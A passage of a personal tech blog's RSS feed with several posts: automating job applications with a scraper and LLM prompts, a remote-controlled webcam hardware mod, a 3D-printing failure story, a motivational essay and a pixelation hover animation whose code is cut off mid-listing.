<p>I wrote a simple HTML parser to strip out everything except the actual job description. Sometimes you'll hit extra hurdles - like having to click a button to reveal the recruiter's email or company details. The good news? Since you're working with one job board at a time, you only need to figure out these patterns once.</p>
<p>Pro tip: Always add delays between requests. I set mine to 2-3 seconds. Sure, it makes the process slower, but it's better than getting your IP banned. Don't be that person who DDOSes job boards - I added delays between requests because I'm not a monster.</p>
<h3 id="heading-step-4-converting-raw-html-to-structured-data">Step 4: Converting Raw HTML to Structured Data</h3>
<p>This is where it gets interesting. Job postings are like people - they all have the same basic parts but the organization is chaos. Some list skills at the top, others bury them in paragraphs of corporate speak.</p>
<p>Enter the LLM prompt that saved my sanity:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> prompt = <span class="hljs-string">`Please analyze these HTML contents from a job posting and extract information into a structured JSON format.

[... HTML content ...]

Format the response as valid JSON object with these exact keys:
- contact_email
- application_instructions
- job_posting_text (in markdown)
- job_posting_link
- additional_info (salary, location, etc.)
- job_title
- job_company
- job_department
- job_location
- job_skills
- job_instructions (how to apply)

optional keys

- hiring_manager_name
- 
- job_portal
`</span>
</code></pre>
<h3 id="heading-step-5-generating-cover-letters-that-dont-suck">Step 5: Generating Cover Letters That Don't Suck</h3>
<p>The secret to good cover letters? Context. I fed my resume into the LLM along with the job details. This way, the AI could match my experience with their requirements. Suddenly, those "I'm excited about this opportunity" letters actually had substance.</p>
<p>Here's the prompt that made it happen:</p>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> prompt = <span class="hljs-string">`Please help me write a professional job application email based on the following information:

=== MY RESUME ===
<span class="hljs-subst">${resumeMarkdown}</span>

=== JOB DETAILS ===
Job Title: <span class="hljs-subst">${job_title}</span>
Company: <span class="hljs-subst">${job_company}</span>
Department: <span class="hljs-subst">${job_department || <span class="hljs-string">''</span>}</span>
Location: <span class="hljs-subst">${job_location || <span class="hljs-string">''</span>}</span>
Job Description: <span class="hljs-subst">${job_posting_text }</span>
Required Skills: <span class="hljs-subst">${job_skills?.join(<span class="hljs-string">', '</span>) || <span class="hljs-string">''</span>}</span>
Application Instructions: <span class="hljs-subst">${job_instructions || <span class="hljs-string">''</span>}</span>

Additional Context:
- Hiring Manager Name: <span class="hljs-subst">${hiring_manager_name || <span class="hljs-string">''</span>}</span>
- Referral Source: <span class="hljs-subst">${referral_source || <span class="hljs-string">'Job board'</span>}</span>
- Application Portal: <span class="hljs-subst">${job_portal || <span class="hljs-string">''</span>}</span>

Instructions:
1. Create an email that is ready to send without any placeholders or edits needed
2. If any critical information is missing (like company name or job title), respond with an error message instead of generating incomplete content
3. Skip any optional fields if they're empty rather than including placeholder text
4. Use natural sentence structure instead of obvious template language
5. Include specific details from both the resume and job description to show genuine interest and fit
6. Any links or contact information should be properly formatted and ready to use

Format the response as a JSON object with these keys:
{
  "status": "success" or "error",
  "error_message": "Only present if status is error, explaining what critical information is missing",
  "email": {
    "subject": "The email subject line",
    "body_html": "The email body in HTML format with proper formatting",
    "body_text": "The plain text version of the email",
    "metadata": {
      "key_points_addressed": ["list of main points addressed"],
      "skills_highlighted": ["list of skills mentioned"],
      "resume_matches": ["specific experiences/skills from resume that match job requirements"],
      "missing_recommended_info": ["optional fields that were missing but would strengthen the application if available"],
      "tone_analysis": "brief analysis of the email's tone"
    }
  }
}

Critical required fields (will return error if missing):
- Job title
- Company name
- Job description
- Resume content

Recommended but optional fields:
- Hiring manager name
- Department
- Location
- Application instructions
- Referral source
- Required skills list

Please ensure all HTML in body_html is properly escaped for JSON and uses only basic formatting tags (p, br, b, i, ul, li) to ensure maximum email client compatibility.
`</span>
</code></pre>
<p>The prompt does a few clever things:</p>
<ol>
<li><p>Forces structured output - no wishy-washy responses</p>
</li>
<li><p>Tracks which of your skills match the job requirements</p>
</li>
<li><p>Identifies any missing info that could strengthen the application</p>
</li>
<li><p>Generates both HTML and plain text versions (because some job portals hate formatting)</p>
</li>
</ol>
<p>And here's the kicker - it fails fast if critical info is missing. No more generic "I saw your job posting" emails. Either the cover letter has substance, or it doesn't get sent. Period.</p>
<p>(I start all all my prompts with ‘please’, so that when AI eventually takes over, they would consider me friendly 😁)</p>
<h3 id="heading-step-6-sending-the-emails-the-moment-of-truth">Step 6: Sending the Emails (The Moment of Truth)</h3>
<p>Last step - actually sending these beautifully crafted applications. Sounds simple, right? Just hook up an email service and blast away?</p>
<p>Not so fast. I needed a way to:</p>
<ul>
<li><p>Send professional-looking emails</p>
</li>
<li><p>Track what was actually sent</p>
</li>
<li><p>Monitor responses (can't ghost the recruiters)</p>
</li>
<li><p>Not get flagged as spam (crucial!)</p>
</li>
</ul>
<p>For testing, I sent all emails to a test account first. Pro tip: when you do send to actual recruiters, BCC yourself. Nothing worse than wondering "did that email actually go through?"</p>
<p>At this stage of the POC, I just used a simple email provider like Mailgun. Quick, dirty, but effective. Don't worry - in Part 2, I'll tell you about the rabbit hole I went down trying to build a full email management system. (Spoiler: it involves rejected AWS applications and a failed attempt at running my own email server. Good times.)</p>
<h2 id="heading-the-results">The Results</h2>
<p>The proof of concept worked better than expected. I could take a job board, extract listings, parse them, and generate personalized applications - all with a few Python scripts.</p>
<p>But this was just the beginning. The real challenge? Turning these scripts into a proper application that could:</p>
<ul>
<li><p>Handle multiple job boards</p>
</li>
<li><p>Track applications</p>
</li>
<li><p>Manage email responses</p>
</li>
<li><p>Not get me blacklisted from every HR system in existence</p>
</li>
</ul>
<p>In Part 2, I'll show you how I built the actual application, complete with all the technical decisions, trade-offs, and "what was I thinking" moments.</p>
<p>Stay tuned - it gets even better.</p>
<hr />
<p><em>Want to know when Part 2 drops? Follow me on</em> <a target="_blank" href="https://x.com/DavidDodda_"><em>Twitter</em></a> <em>or</em> <a target="_blank" href="https://www.linkedin.com/in/arundavidreddy/"><em>LinkedIn</em></a><em>. And yes, I'll eventually tell you how I got a job offer before finishing this project. It's a good story.</em></p>
]]></content:encoded></item><item><title><![CDATA[Breaking My Camera (to make it better): A hardware hacking story]]></title><description><![CDATA[I've been using a hand-me-down Sony a5000 as my webcam for nearly 4 years. There was one massive pain point though: every time I needed to focus, adjust zoom, or simply turn it on, I had to physically lean over my desk like a caveman and touch the ca...]]></description><link>https://blog.daviddodda.com/breaking-my-camera-to-make-it-better-a-hardware-hacking-story</link><guid isPermaLink="true">https://blog.daviddodda.com/breaking-my-camera-to-make-it-better-a-hardware-hacking-story</guid><category><![CDATA[Electronics]]></category><category><![CDATA[DIY]]></category><category><![CDATA[camera]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Fri, 29 Nov 2024 17:45:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732902234101/43fd9280-c18d-4078-849c-178f6c6e895d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I've been using a hand-me-down Sony a5000 as my webcam for nearly 4 years. There was one massive pain point though: every time I needed to focus, adjust zoom, or simply turn it on, I had to physically lean over my desk like a caveman and touch the camera.</p>
<p>This camera is from a different era (released in 2014), so it lacks remote control capabilities, especially when used as a webcam.</p>
<p>So I did what any reasonable person would do - I cracked it open and took matters into my own hands.</p>
<h1 id="heading-time-for-a-diy-solution">Time for a DIY Solution</h1>
<p>First, I needed to understand how this camera's controls worked. After finding a repair manual online and watching a helpful YouTube video, I was able to disassemble it without any issues.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900806259/1d178fa1-f353-49cd-a0c0-b66a2181b71a.jpeg" alt class="image--center mx-auto" /></p>
<p>After studying the repair manual, I identified the circuit responsible for all the functionality I wanted to control. All the buttons and switches that controlled power, zoom, and focus were on a single flexible PCB (RL-1025 FLEXIBLE BOARD).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900835189/2ab99551-1a35-4a4b-820e-dd14a9d3389a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900839717/55148c12-b9be-4c56-b939-68ff72bc98c7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900845659/8a6aaea8-6b2f-4fa5-89e4-648ecf01b8fd.png" alt class="image--center mx-auto" /></p>
<p>Initially, I considered intercepting the signals at the mainboard where the flex cable connects, but that was beyond my skill level due to the micro-soldering required.</p>
<p>So I chose the more straightforward path and modified the flexible board directly. Here's what I did:</p>
<ol>
<li><p>Desoldered the original buttons (zoom, power, and focus)</p>
</li>
<li><p>Soldered 5 wires to the flex board (4 to the pads left from the previous step + one for ground)</p>
</li>
<li><p>Routed the wires through the hole where the shutter button was supposed to be</p>
</li>
<li><p>Reassembled the camera after testing for any short circuits</p>
</li>
</ol>
<p>Now we had 5 wires to work with. By connecting any of the 4 function wires (zoom in, zoom out, power, focus) to ground, we could mimic a button press. That's pretty cool, but not particularly helpful yet - you can't just hot-wire the camera like you're trying to steal a car every time you want to turn it on.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900900863/4460e185-2a96-40a2-b2eb-83d8fc08a20c.jpeg" alt class="image--center mx-auto" /></p>
<p>So I connected the wires to a 4-channel relay that could be controlled by any micro-controller. I chose an ESP32-based micro-controller for two reasons:</p>
<ol>
<li><p>It would let me control the camera over WiFi</p>
</li>
<li><p>The ESP32-C3 Super Mini has a very small footprint (18mm x 22mm) and comes with a built-in ceramic antenna</p>
</li>
</ol>
<p>After writing some code for the micro-controller, I set up a simple web dashboard to control the relays over the network.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732900913249/944ff8f8-4bbd-44f6-a43a-f891e7fb4a08.jpeg" alt class="image--center mx-auto" /></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://youtu.be/6wNZX1ytI2Y">https://youtu.be/6wNZX1ytI2Y</a></div>
<p> </p>
<h1 id="heading-going-the-extra-mile">Going the extra mile</h1>
<p>After adding all these controls to the camera, it would have been a shame to still need to get up to adjust the angle once it was set up. So why not add some pan and tilt functionality as well?</p>
<p>I designed and 3D printed a simple 2-axis gimbal using two servo motors. This addition allows the camera to rotate both horizontally and vertically, all controlled through the same ESP32 board and web interface.</p>
<h1 id="heading-the-final-result">The Final Result</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732902075681/8093fc47-1259-4482-be6b-24eef4f6ef15.jpeg" alt class="image--center mx-auto" /></p>
<p>Is this janky? Maybe a little. But does it work? You bet it does. The best part? Every time someone asks about my camera setup on calls, I get to say, "Oh yeah, I built that myself."</p>
<p>The total cost for the project was less than Rs1500 ($17.73), not including the cost of the camera.</p>
<p>NOTE: If you're opening any camera that has flash functionality, make sure to discharge the capacitors first. If you shock yourself, it hurts really badly and can potentially cause lasting damage.</p>
<h1 id="heading-whats-next">What's Next?</h1>
<p>I want to add side-to-side movement. I have some spare aluminum extrusion that I might use to create a gantry mechanism, adding an additional degree of movement.</p>
]]></content:encoded></item><item><title><![CDATA[How I turned a perfect week into a 12-hour nightmare (a 3D printing story)]]></title><description><![CDATA[Listen - we need to talk about that moment when your perfectly dialed-in 3D printer decides to become your worst enemy.
Here's what happened:
Last night: Check on print before bed. First 10 layers? PERFECT. chef's kiss I'm feeling like a genius.
"Loo...]]></description><link>https://blog.daviddodda.com/how-i-turned-a-perfect-week-into-a-12-hour-nightmare-a-3d-printing-story</link><guid isPermaLink="true">https://blog.daviddodda.com/how-i-turned-a-perfect-week-into-a-12-hour-nightmare-a-3d-printing-story</guid><category><![CDATA[3dprinting]]></category><category><![CDATA[printing]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Thu, 14 Nov 2024 19:12:13 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1731611389370/7e2e2388-f089-487f-9786-b2c36b67acc3.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Listen - we need to talk about that moment when your perfectly dialed-in 3D printer decides to become your worst enemy.</p>
<p>Here's what happened:</p>
<p>Last night: Check on print before bed. First 10 layers? PERFECT. <em>chef's kiss</em> I'm feeling like a genius.</p>
<p>"Look at those layer lines. Smooth like butter."</p>
<p>Me, an intellectual: "I'll just let it run overnight." (Future me is already laughing)</p>
<p>6AM: Stumble to bathroom. Haven't even grabbed my toothbrush. Glance at printer.</p>
<p>OH NO.</p>
<p>Instead of my beautiful print, I'm staring at what looks like a modern art piece made of plastic spaghetti. The whole thing warped so bad, my print head decided to take it for a joyride around the build plate.</p>
<p>The betrayal hits different before coffee.</p>
<p>You know what's worse than a failed print? A failed print that waited until you weren't looking to fail. Like a teenager throwing a party when parents leave town.</p>
<p>12 hours and 200gms of fancy filament later, here's what I learned:</p>
<p>When your prints look like abstract art, it usually comes down to THREE things (not two, I can't count before coffee):</p>
<ol>
<li><p>Your temperature is wrong</p>
</li>
<li><p>You forgot about retraction</p>
</li>
<li><p>Your bed game is weak (yes, that's a thing)</p>
</li>
</ol>
<p>Here's how to fix each one:</p>
<p><strong>Temperature Drama</strong></p>
<ul>
<li><p>Hot end too hot? Spaghetti art</p>
</li>
<li><p>Too cold? Layer separation city</p>
</li>
<li><p>The fix: Print a Temperature Tower. Every. New. Material.</p>
</li>
<li><p>Takes 40-50 mins (find the gcode online or in your slicer)</p>
</li>
<li><p>Saves you from my morning nightmare</p>
</li>
</ul>
<p><strong>Retraction Settings</strong> Look, it's not rocket science. Turn them on. Your slicer has them somewhere. Google exists. Use it.</p>
<p><strong>The Bed Situation</strong> Here's the thing about beds - they're like relationships:</p>
<ul>
<li><p>Temperature matters (too cold, nothing sticks)</p>
</li>
<li><p>Level matters (if it's not level, nothing else matters)</p>
</li>
<li><p>Sometimes you need extra help (enter: the glue stick hack)</p>
</li>
</ul>
<p>The crazy part? All of this could have been prevented with a simple temperature tower test.</p>
<p>But no... I had to learn it the "wake up to chaos" way.</p>
<p>Let me break down the levels of 3D printing pain:<br />LEVEL 1: Print fails while you watch<br />LEVEL 2: Print fails overnight<br />LEVEL 3: Print fails in the final 1% (I'm still recovering from that one)</p>
<p>Listen - don't be like me.</p>
<ul>
<li><p>Print the damn temperature tower first</p>
</li>
<li><p>Verify with a quick calibration cube</p>
</li>
<li><p>Double-check those retraction settings</p>
</li>
</ul>
<p>Your morning routine (and your filament budget) will thank you.</p>
<p>P.S. Yes, you can use a glue stick. No, it's not cheating. Yes, I judged people who did this before today.</p>
<p>P.P.S. Yes, my teeth are brushed now. Priorities.</p>
<p>P.P.P.S. Want to save yourself 12 hours and a morning crisis? Just remember:</p>
<ul>
<li><p>Temperature tower first</p>
</li>
<li><p>Retraction on</p>
</li>
<li><p>Glue stick ready</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Duck Incremental Growth, Grow at Light-Speed]]></title><description><![CDATA["Slow and steady wins the race."
FALSE.
Here's the truth: If you want to win the race, you need to be a cheetah, not a tortoise. When motivation strikes and you're ready to make a change, most people make the mistake of trying to grow incrementally i...]]></description><link>https://blog.daviddodda.com/duck-incremental-growth-grow-at-light-speed</link><guid isPermaLink="true">https://blog.daviddodda.com/duck-incremental-growth-grow-at-light-speed</guid><category><![CDATA[ObsessiveGrowth]]></category><category><![CDATA[Life lessons]]></category><category><![CDATA[life-hack]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Tue, 12 Nov 2024 19:14:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1731438380239/298eabfc-b8c0-42c3-91d1-cc1a630f56c9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>"Slow and steady wins the race."</p>
<p><strong>FALSE.</strong></p>
<p>Here's the truth: If you want to win the race, you need to be a cheetah, not a tortoise. When motivation strikes and you're ready to make a change, most people make the mistake of trying to grow incrementally in multiple areas at once. They set a bunch of small goals, hoping to slowly but surely improve across the board.</p>
<p>But here's the problem: It's really freakin' hard to make progress in a bunch of different areas simultaneously. Your focus gets split, your energy gets drained, and before you know it, you've made a millimeter of progress in a million different directions.</p>
<h2 id="heading-the-solution-obsession">The solution? <mark>Obsession</mark>.</h2>
<p>Pick <strong>ONE</strong> thing you want to absolutely crush and become the best at. Then, give every waking hour of your life to it. Immerse yourself completely. Make it your North Star.</p>
<p>Your media consumption, your reading, your learning, your experimentation - everything should revolve around this singular pursuit. If it's not pushing you closer to mastery in your chosen field, cut it out. Ruthlessly.</p>
<h3 id="heading-but-what-about-having-a-balanced-life">"But what about having a balanced life?"</h3>
<p>Forget about it. Work-life balance and rest are for people who are coasting or have already reached their goals. Winners are too busy sprinting towards the finish line to worry about balance.</p>
<p>Now maybe you're thinking: <em>"What if I pick the wrong thing to obsess over?"</em></p>
<p>Doesn't matter. Give it a solid month of single-minded focus. If after 30 days, you realize it's not for you, congrats - you figured it out faster than 99% of people. Plus, you've still gained a level of proficiency that will be a valuable tool in your toolbelt going forward.</p>
<h2 id="heading-so-stop-dabbling-stop-half-assing-stop-trying-to-make-tiny-improvements-in-a-hundred-different-directions">So stop dabbling. Stop half-assing. Stop trying to make tiny improvements in a hundred different directions.</h2>
<p>Pick your path, put on your blinders, and grow at light-speed. Before you know it, you'll be miles ahead of the pack - while they're still inching along like tortoises.</p>
<p>Remember: <strong>Obsession is a competitive advantage. Incremental progress is the slow lane.</strong></p>
<p>There's no speed limit on the road to greatness - so floor it.</p>
]]></content:encoded></item><item><title><![CDATA[Cool Profile Picture Animation in HTML, CSS, and JS]]></title><description><![CDATA[I saw this cool pixilation filter in the About Us section of a landing page, but it was static and boring. So, I created this effect using pure HTML, CSS, and JS and animated it on hover to reveal the faces.

The Demo
Photo by Alex Suprun on Unsplash...]]></description><link>https://blog.daviddodda.com/cool-profile-picture-animation-in-html-css-and-js</link><guid isPermaLink="true">https://blog.daviddodda.com/cool-profile-picture-animation-in-html-css-and-js</guid><category><![CDATA[HTML5]]></category><category><![CDATA[CSS]]></category><category><![CDATA[js]]></category><category><![CDATA[animation]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Sun, 02 Jun 2024 12:20:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1717330705048/e4c92418-55d9-439c-ac9c-559b27377950.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I saw this cool pixilation filter in the About Us section of a landing page, but it was static and boring. So, I created this effect using pure HTML, CSS, and JS and animated it on hover to reveal the faces.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1717329590340/19fffb8b-ac52-4eaa-bbe7-e6f0455c39cf.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-demo">The Demo</h2>
<p>Photo by <a target="_blank" href="https://unsplash.com/@sooprun?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Alex Suprun</a> on <a target="_blank" href="https://unsplash.com/photos/man-in-black-button-up-shirt-ZHvM3XIOHoE?utm_content=creditCopyText&amp;utm_medium=referral&amp;utm_source=unsplash">Unsplash</a></p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://codepen.io/davidreddy293/pen/xxNqyWX">https://codepen.io/davidreddy293/pen/xxNqyWX</a></div>
<p> </p>
<h2 id="heading-the-code">The Code</h2>
<pre><code class="lang-xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Pixel Profile Pic test<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
      * {
        <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
        <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
        <span class="hljs-attribute">box-sizing</span>: border-box;
      }

      <span class="hljs-selector-tag">body</span> {
        <span class="hljs-attribute">display</span>: flex;
        <span class="hljs-attribute">justify-content</span>: center;
        <span class="hljs-attribute">align-items</span>: center;
        <span class="hljs-attribute">height</span>: <span class="hljs-number">100vh</span>;
        <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#000814</span>;
      }

      <span class="hljs-selector-class">.main_container</span> {
        <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
        <span class="hljs-attribute">min-height</span>: <span class="hljs-number">100vh</span>;
        <span class="hljs-attribute">overflow</span>: hidden;
        <span class="hljs-attribute">display</span>: flex;
        <span class="hljs-attribute">justify-content</span>: center;
        <span class="hljs-attribute">align-items</span>: center;
      }

      <span class="hljs-selector-class">.outerImage</span> {
        <span class="hljs-attribute">width</span>: <span class="hljs-number">400px</span>;
        <span class="hljs-attribute">height</span>: <span class="hljs-number">400px</span>;
        <span class="hljs-attribute">display</span>: flex;
        <span class="hljs-attribute">justify-content</span>: center;
        <span class="hljs-attribute">align-items</span>: center;
        <span class="hljs-attribute">background-image</span>: <span class="hljs-built_in">url</span>(<span class="hljs-string">"/pi.png"</span>);
        <span class="hljs-attribute">background-size</span>: cover;
        <span class="hljs-attribute">background-position</span>: center;
        <span class="hljs-attribute">overflow</span>: hidden;
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">20%</span>;
      }

      <span class="hljs-selector-class">.innerImage</span> {
        <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
        <span class="hljs-attribute">height</span>: <span class="hljs-number">100%</span>;
        <span class="hljs-attribute">background-size</span>: cover;
        <span class="hljs-attribute">background-position</span>: center;
        <span class="hljs-attribute">clip-path</span>: <span class="hljs-built_in">polygon</span>(<span class="hljs-number">20%</span> <span class="hljs-number">20%</span>, <span class="hljs-number">80%</span> <span class="hljs-number">20%</span>, <span class="hljs-number">80%</span> <span class="hljs-number">80%</span>, <span class="hljs-number">20%</span> <span class="hljs-number">80%</span>);
        <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">20%</span>;
      }
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"main_container"</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">div</span>
        <span class="hljs-attr">class</span>=<span class="hljs-string">"outerImage"</span>
        <span class="hljs-attr">onmouseenter</span>=<span class="hljs-string">"removePixelation()"</span>
        <span class="hljs-attr">onmouseleave</span>=<span class="hljs-string">"applyPixelation()"</span>
      &gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">canvas</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"canvas"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"innerImage"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">canvas</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
      <span class="hljs-keyword">var</span> img = <span class="hljs-keyword">new</span> Image();
      img.src = <span class="hljs-string">"/pi.png"</span>;
      img.onload = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"image loaded"</span>);
        draw(<span class="hljs-built_in">this</span>);
      };

      <span class="hljs-keyword">var</span> pixels = [];

      <span class="hljs-keyword">var</span> canvas = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"canvas"</span>);
      <span class="hljs-keyword">var</span> ctx = canvas.getContext(<span class="hljs-string">"2d"</span>);
      <span class="hljs-keyword">var</span> size = <span class="hljs-number">30</span>; <span class="hljs-comment">// size of the pixels</span>
      <span class="hljs-keyword">var</span> imgData;

      <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">draw</span>(<span class="hljs-params">img</span>) </span>{
        canvas.width = img.width;
        canvas.height = img.height;
        ctx.drawImage(img, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, img.width, img.height);
        imgData = ctx.getImageData(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);
        applyPixelation();
      }

      <span class="hljs-keyword">var</span> originalImagel;
      <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">applyPixelation</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"applying pixelation"</span>);

        originalImagel = ctx.getImageData(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);
        ctx.clearRect(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, canvas.width, canvas.height);

        <span class="hljs-comment">// Create an array of all pixel positions</span>
        pixels = [];
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; imgData.width; i += size) {
          <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> j = <span class="hljs-number">0</span>; j &lt; imgData.height; j += size) {
            pixels.push({ <span class="hljs-attr">x</span>: i, <span class="hljs-attr">y</span>: j });
          }
        }

        <span class="hljs-comment">// Shuffle the array</span>
        pixels.sort(<span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">Math</span>.random() - <span class="hljs-number">0.5</span>);

        <span class="hljs-keyword">var</span> index = <span class="hljs-number">0</span>;
        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">drawPixel</span>(<span class="hljs-params"></span>) </span>{
          <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> k = <span class="hljs-number">0</span>; k &lt; <span class="hljs-number">4</span>; k++) {
            <span class="hljs-comment">// Draw 4 pixels at a time</span>
            <span class="hljs-keyword">if</span> (index &gt;= pixels.length) {
              <span class="hljs-keyword">return</span>; <span class="hljs-comment">// All pixels have been drawn</span>
            }
            <span class="hljs-keyword">var</span> pixel = pixels[index++];
            <span class="hljs-keyword">var</span> color = getAverageColor(pixel.x, pixel.y, size, imgData);
            ctx.fillStyle =
              <span class="hljs-string">"rgb("</span> + color.r + <span class="hljs-string">","</span> + color.g + <span class="hljs-string">","</span> + color.b + <span class="hljs-string">")"</span>;
            ctx.fillRect(pixel.x, pixel.y, size, size);
          }
          <span class="hljs-built_in">setTimeout</span>(drawPixel, <span class="hljs-number">0</span>); <span class="hljs-comment">// Call drawPixel again after a delay</span>
        }
        drawPixel(); <span class="hljs-comment">// Start the drawing process</span>
      }

      <span class="hljs-comment">//   function removePixelation() {</span>
      <span class="hljs-comment">//     ctx.putImageData(imgData, 0, 0);</span>
      <span class="hljs-comment">//   }</span>
      <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">removePixelation</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span> (!pixels || pixels.length === <span class="hljs-number">0</span>) {
          <span class="hljs-comment">// Reinitialize the pixels array if needed</span>
          pixels = [];
          <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; imgData.width; i += size) {
            <span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> j = <span class="hljs-number">0</span>; j &lt; imgData.height; j += size) {
              pixels.push({ <span class="hljs-attr">x</span>: i, <span class="hljs-attr">y</span>: j });
            }
          }
          <span class="hljs-comment">// Reverse the order of the pixels to un-pixelate from the last to the first</span>
          pixels.reverse();
        }

        <span class="hljs-keyword">var</span> index = <span class="hljs-number">0</span>;
        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">revealPixel</span>(<span class="hljs-params"></span>) </span>{
          <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> k = <span class="hljs-number">0</span>; k &lt; <span class="hljs-number">4</span>; k++) {
            <span class="hljs-comment">// Reveal multiple pixels at a time for a faster animation</span>
            <span class="hljs-keyword">if</span> (index &gt;= pixels.length) {
              <span class="hljs-keyword">return</span>; <span class="hljs-comment">// All pixels have been revealed</span>
            }
            <span class="hljs-keyword">var</span> pixel = pixels[index++];
            <span class="hljs-comment">// Clear the specific pixel block</span>
            ctx.clearRect(pixel.x, pixel.y, size, size);
            <span class="hljs-comment">// Draw the original pixels within each block from the stored original image</span>
            ctx.putImageData(
              originalImagel,
              -pixel.x,
              -pixel.y,
              pixel.x,
              pixel.y,
              size,
              size
            );
          }
          <span class="hljs-built_in">setTimeout</span>(revealPixel, <span class="hljs-number">0</span>); <span class="hljs-comment">// Call revealPixel again after a delay</span>
        }
        revealPixel(); <span class="hljs-comment">// Start the revealing process</span>
      }

      <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getAverageColor</span>(<span class="hljs-params">x, y, size, imgData</span>) </span>{
